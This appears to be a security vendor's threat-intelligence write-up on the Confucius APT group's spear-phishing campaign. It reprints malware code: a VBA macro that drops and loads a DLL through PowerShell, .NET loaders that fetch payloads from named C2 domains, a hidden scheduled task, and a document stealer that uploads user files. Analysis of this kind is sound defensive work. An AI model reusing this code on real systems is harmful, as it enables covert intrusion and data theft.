Unraveling Confucius’ Espionage Campaigns

Confucius, an Indian state-sponsored APT group, continues to target Defense and Government organizations in South-Asia, especially Pakistan. The primary purpose of the TA appears to conduct espionage campaigns and steal information critical to the operations of the targeted institutes.

team
Marketing Team
  • May 22, 2025

Background

Confucius, an Indian state-sponsored APT group, continues to target Defense and Government organizations in South-Asia, especially Pakistan. The primary purpose of the TA appears to conduct espionage campaigns and steal information critical to the operations of the targeted institutes.

In August 2021, the release of Amnesty International’s advisory on Pegasus Spyware by Israel’s NSO Group was the source of major unrest in the country’s politicians and other elite individuals. Capitalizing on this unrest, Confucius began to lure such individuals by means of a bi-partite email wherein the first email was a simple informational mail against Pegasus and the second email contained an encrypted document (with the password of the document mentioned in the same email). Technical analysis of the document and the entire attack chain points towards a well-thought espionage campaign, a new for Confucius.

In late September 2021, the same campaign was re-run wherein the only changes we witnessed were the domains which were used for payload acquisition and data exfiltration. The flow of the whole attack chain can be seen below:

Reports of a potential intrusion by Confucius were first disclosed by researchers on Twitter. Analysis of the campaign by our researchers is discussed in detail in the following sections:

Macro-enabled Word Document

Confucius heavily relies on Microsoft Word documents to deliver spear-phishing emails to their targets. Previously, these Word documents had external relationships to malicious templates (for template injection). More recently, the group appears to have made a switch to using malicious VBA macros.

Using the Document_Open method, the macro executes two functions; one to write the binary to disk (eventually loading it) and the second to update the caption of an image embedded within the document. The function MyColor takes in the value of the Comments property of the active document, opens the handle to a file in the Temp directory, and writes the data (after converting it to binary) to disk.

Sub Mycolor()Dim prop As DocumentProperty  For Each prop In ActiveDocument.BuiltInDocument 
Properties    If prop.Name = "Comments" Then      s = prop.Value    End If  Nextfnum = FreeFileFName = Environ("TMP") & "\skfk.txt"Open FName For Binary As #fnum  Put #fnum, , abc(CStr(s))Close #fnumfr = "'" & Environ("TMP") & "\skfk.txt" & "'"Result = "Powershell [Reflection.Assembly]::LoadFile(" & fr & ");$doo = New-Object Tysdf.Class1;$doo.sadkj()"CreateObje 
ct("WScript. 
Shell").Run Result, 0, TrueEnd Sub 

Snippet 1: VBA Macros Embedded Inside Lure

Once written, the binary is loaded into memory using PowerShell’s implementation of the Reflection API (or more specifically, the LoadFile method in the class). The LoadFile method takes in one parameter which is the .NET assembly. Later, an object of Class1 is instantiated and the sadkj procedure is called.

.NET Downloader/Loader

Static analysis of the binary suggests that it is in fact a dynamic-link library (.NET assembly) with a modified ‘compile timestamp’ pointing to 2050. The function sadkj instantiates another object of the same class and attempts to call the function sdlfghjgks from it.

public void sadkj(){  string str = Path.GetTempPath() + "skfk.txt";    new Process    {      StartInfo =      {        FileName = "powershell.exe",        Arguments = "[Reflection.Assembly]::LoadFile('" + str + "');$t = New-Object Tysdf.Class1;$t.sdlfghjgks()",        WindowStyle = ProcessWindowStyle.Hidden      }    }.Start();    Environment.Exit(0);} 

Snippet 2: .NET Loader

This function is interesting as it references a URL to acquire (what looks like another DLL masqueraded as a .TXT file) a file from the C2 infrastructure. To summarize the function, it downloads the .TXT file from the URL referencing the domain inshaaldom.xyz, loads the assembly by converting the ASCII payload to binary via the moon function, acquires the types from the assembly, instantiates them and dynamically invokes the ndmsbfl function from the recently acquired assembly.

public void sdlfghjgks(){  WebClient webClient = new WebClient();  string uriString = "https://inshaaldom.xyz/SowpnTdb. 
txt";  try  {    string sweiorut = webClient.DownloadString(new Uri(uriString));    Type[] types = Assembly.Load(this.moon(sweiorut) 
).GetTypes();    for (int i = 0; i < types.Length; i++)    {      object arg = Activator.CreateInstance(types[i]);      if (Class1.<>o__3.<>p__0 == null)      {        Class1.<>o__3.<>p__0 = CallSite<Action<CallSite, object>>.Create(Microsoft.CSharp. 
RuntimeBind 
er.Binder.InvokeMember(CSharp 
BinderFlags. 
ResultDiscarded, "ndmsbfl", null, typeof(Class1), new CSharpArgumentInfo[]        {          CSharpArgumentInfo.Create(CShar 
pArgument 
InfoFlags.None, null)        }));  ...} 

Snippet 3: Payload Acquisition and Dynamic Invocation of Scheduler

.NET Task Scheduler  

Static analysis of SowpnTdb.txt (DLL) led us to identify some interesting strings. The embedded PDB path F:\Hacking Notes - Documents\Projects\project-05\SowpnTdb\SowpnTdb\bin\Release\ ILMerge\So

wpnTdb.pdb (in one of the intrusions from the campaign) indicated several projects were in-line to continue the attack campaign. Several meta-data fields of the binary pointed towards it being a Task Scheduler, likely acquired from the GitHub. Recon on GitHub pointed towards a .NET wrapper for the Task Scheduler API exposed by Windows which was a direct match of the codebase used by the Scheduler. This highlights the fact that Confucius utilizes open-source projects in their operations. We’ve also previously identified similar patterns of using open-source tools (OSTs) from their (potential) sister-group, Sidewinder.

Analysis of the function ndmsbfl suggests it downloads another DLL (jksdfhk.txt) from the server (same domain as before) and drops it to C:\ProgramData. Following that, a task titled Systemcheck is scheduled to run a PowerShell command every five minutes. Scheduled commands are the previously covered dynamic invocation calls with the Reflection API being used to load the recently dropped DLL.

public void ndmsbfl(){  new WebClient().DownloadFile(new Uri("https://parinari.xyz/Msdjkfh.txt"), "C:\\ProgramData\\jksdfhk.txt");  new TaskService();  TimeTrigger trigger = new TimeTrigger  {      Repetition = new RepetitionPattern(TimeSpan.From 
Minutes(5.0), TimeSpan.FromDays(0.0), false)  };  string path = "C:\\Windows\\System32\\Windows 
PowerShell\\ 
v1.0\\powershell.exe";  string arguments = "-windowstyle hidden -C $rk = \"\"\"C:\\ProgramData\\jksdfhk.txt\"\"\ 
[Reflection.Assembly]::LoadFile($rk); 
$tt = New-Object Msdjkfh.Class1;$tt.Nasuyd()\" ";  TaskService.Instance.AddTask(" 
Systemcheck", trigger, new ExecAction(path, arguments, null), null, null, TaskLogonType.InteractiveToken, null);} 

Snippet 4: .NET Task Scheduler

Final .NET Loader

The final .NET loader has similar operations to what we’ve witnessed in the previous loader binaries. Here’s a summary of the operations in this particular loader:

public void Nasuyd(){  WebClient webClient = new WebClient();  string uriString = "https://parinari.xyz/Rwlksdnasjd.txt";  try  {    string st = webClient.DownloadString(new Uri(uriString));    Type[] types = Assembly.Load(this.Houn(st)).GetTy 
pes();    for (int i = 0; i < types.Length; i++)    {      object arg = Activator.CreateInstance(types[i]);      if (Class1.<>o__1.<>p__0 == null)      {        Class1.<>o__1.<>p__0 = CallSite<Action<CallSite, object>>.Create(Microsoft.CSharp. 
RuntimeBinder.Binder.InvokeMem 
ber(CSharpBinder 
Flags.ResultDiscarded, "sdsdjkfhds", null, typeof(Class1), new CSharpArgumentInfo[]        {          CSharpArgumentInfo.Create(CShar 
pArgumentInfoFlags.None, null)        }));      }  ...} 

Snippet 4: Final .NET loader

Stealer

Continuing the analysis with the last invoked function, sdsdjkfhds, the metadata of the DLL (Rwlksdnasjd.txt) and several network calls inside the DLL further strengthen the fact that it is in fact an uploader. A snippet of the function is listed below:

public void sdsdjkfhds()
{
    string userName = Environment.UserName;
    List<string> pfhl = new List<string>();
    string pattern = "*";

    pfhl = this.Gpufh();

    string userPath = "C:\\Users\\" + userName;
    string tdn = Environment.MachineName + "__" + userName;

    this.CUD(tdn, 0);

    foreach (string text in Directory.GetDirectories("C:\\Users\\"))
    {
        if (text != "C:\\Users\\Default" || text != "C:\\Users\\Public")
        {
            this.GF(text + "\\Documents\\", pattern, "Documents", pfhl);
            this.GF(text + "\\Downloads\\", pattern, "Downloads", pfhl);
            this.GF(text + "\\Desktop\\", pattern, "Desktop", pfhl);
            this.GF(text + "\\Pictures\\", pattern, "Pictures", pfhl);
        }
    }

    DriveInfo[] drives = DriveInfo.GetDrives();
    char[] trimChars = new char[] { ':', '\\' };

    foreach (DriveInfo driveInfo in drives)
    {
        if (driveInfo.Name != "C:\\")
        {
            this.GF(driveInfo.Name, pattern, driveInfo.Name.TrimEnd(trimChars), pfhl);
        }
    }

    Environment.Exit(0);
}

Snippet 5: Stealer and Uploader

Capabilities of the Stealer are:

  • Collect information of all local drives
  • Download a file of MD5 hashes (specific for the Machine and Username of the compromised workstation) from the C2 server
  • Find and ex-filtrate files with extensions TXT, PDF, PNG, JPG, ODS, DOC, XLS, XLM, ODP, ODT, RTF, PPT, PPTX, XLSX, XLSM, DOCX, JPEG
  • Files are hashed (MD5) before being ex-filtrated and compared against the MD5 hash list previously acquired from the C2 server. Files which have already been ex-filtrated are not uploaded to the server again
private void GF(string path, string pattern, string ufn, List<string> pfhl)
{
    List<string> list = new List<string>();
    List<string> list2 = new List<string>();
    List<string> list3 = new List<string>();
    List<string> list4 = new List<string>();

    try
    {
        list.AddRange(Directory.GetFiles(path, pattern, SearchOption.TopDirectoryOnly));

        foreach (string text in list)
        {
            string a = Path.GetExtension(text).TrimStart('.');

            if (a == "txt" || a == "TXT" ||
                a == "pdf" || a == "PDF" ||
                a == "png" || a == "PNG" ||
                a == "jpg" || a == "JPG" ||
                a == "doc" || a == "DOC" ||
                a == "xls" || a == "XLS" ||
                a == "xlm" || a == "XLM" ||
                a == "odp" || a == "ODP" ||
                a == "ods" || a == "ODS" ||
                a == "odt" || a == "ODT" ||
                a == "rtf" || a == "RTF" ||
                a == "ppt" || a == "PPT" ||
                a == "xlsx" || a == "XLSX" ||
                a == "xlsm" || a == "XLSM" ||
                a == "docx" || a == "DOCX" ||
                a == "pptx" || a == "PPTX" ||
                a == "jpeg" || a == "JPEG")
            {
                list2.Add(text);
            }
        }

        foreach (string text3 in list2)
        {
            if (!string.IsNullOrEmpty(text3))
            {
                string item;
                using (MD5 md = MD5.Create())
                {
                    using (FileStream fileStream = File.OpenRead(text3))
                    {
                        item = BitConverter.ToString(md.ComputeHash(fileStream)).Replace("-", "");
                    }
                }

                if (!pfhl.Contains(item))
                {
                    list3.Add(text3);
                    list4.Add(item);
                }
            }
        }
    }
    catch (Exception ex)
    {
        // Optional: handle or log exception
        Console.WriteLine($"Error in GF method: {ex.Message}");
    }

    if (list3.Count != 0)
    {
        this.CUD(ufn, 1);
        // ... your additional logic here
    }
}

Snippet 6: Capabilities of the Stealer

Although the payload acquisition domain does encrypt its communication with the compromised host (via HTTPS), the exfiltration domain, thakithaiya.xyz uses the plain-text HTTP protocol to send/receive data from the C2 server. Similar to the earlier campaigns carried out by Confucius, the web pages are written in PHP (with random URIs and parameter names to collect usernames/machine name). Since the task is scheduled for a five minute run, the uploader runs the same routine over and over, collecting files and folders from the system, until terminated.

Indicators of Compromise

Following Indicators of Compromise were discovered during the course of our intrusion analysis:

Operational Security Failure

While performing reconnaissance against the infrastructure of Confucius, we found a deviation from their normal pattern of operations. Confucius highly utilizes C2 domains bought from the registrar, GoDaddy, using different US-based addresses to do so. However, the primary C2 domain in the recent campaign, inshaaldom.xyz, and the C2 domain used in the campaign in August 2021, parinari.xyz, were both registered from Chandigarh, India. We consider this to be an operational mistake from the operators behind Confucius revealing their origin.

Outlook

The selection of techniques by Confucius are not very sophisticated at the moment along with some operational security failures however; analysis of the campaign highlighted the creativity of its operators and their potential to increase sophistication in the future.

Previous campaigns by Confucius utilized techniques like Template Injection in spear-phishing documents; However, the current campaign makes use of macros and an embedded PE in the comments of a picture inside the document. These minor changes in techniques suggest the group is actively looking to switch their tradecraft to avoid detections based on named rulesets.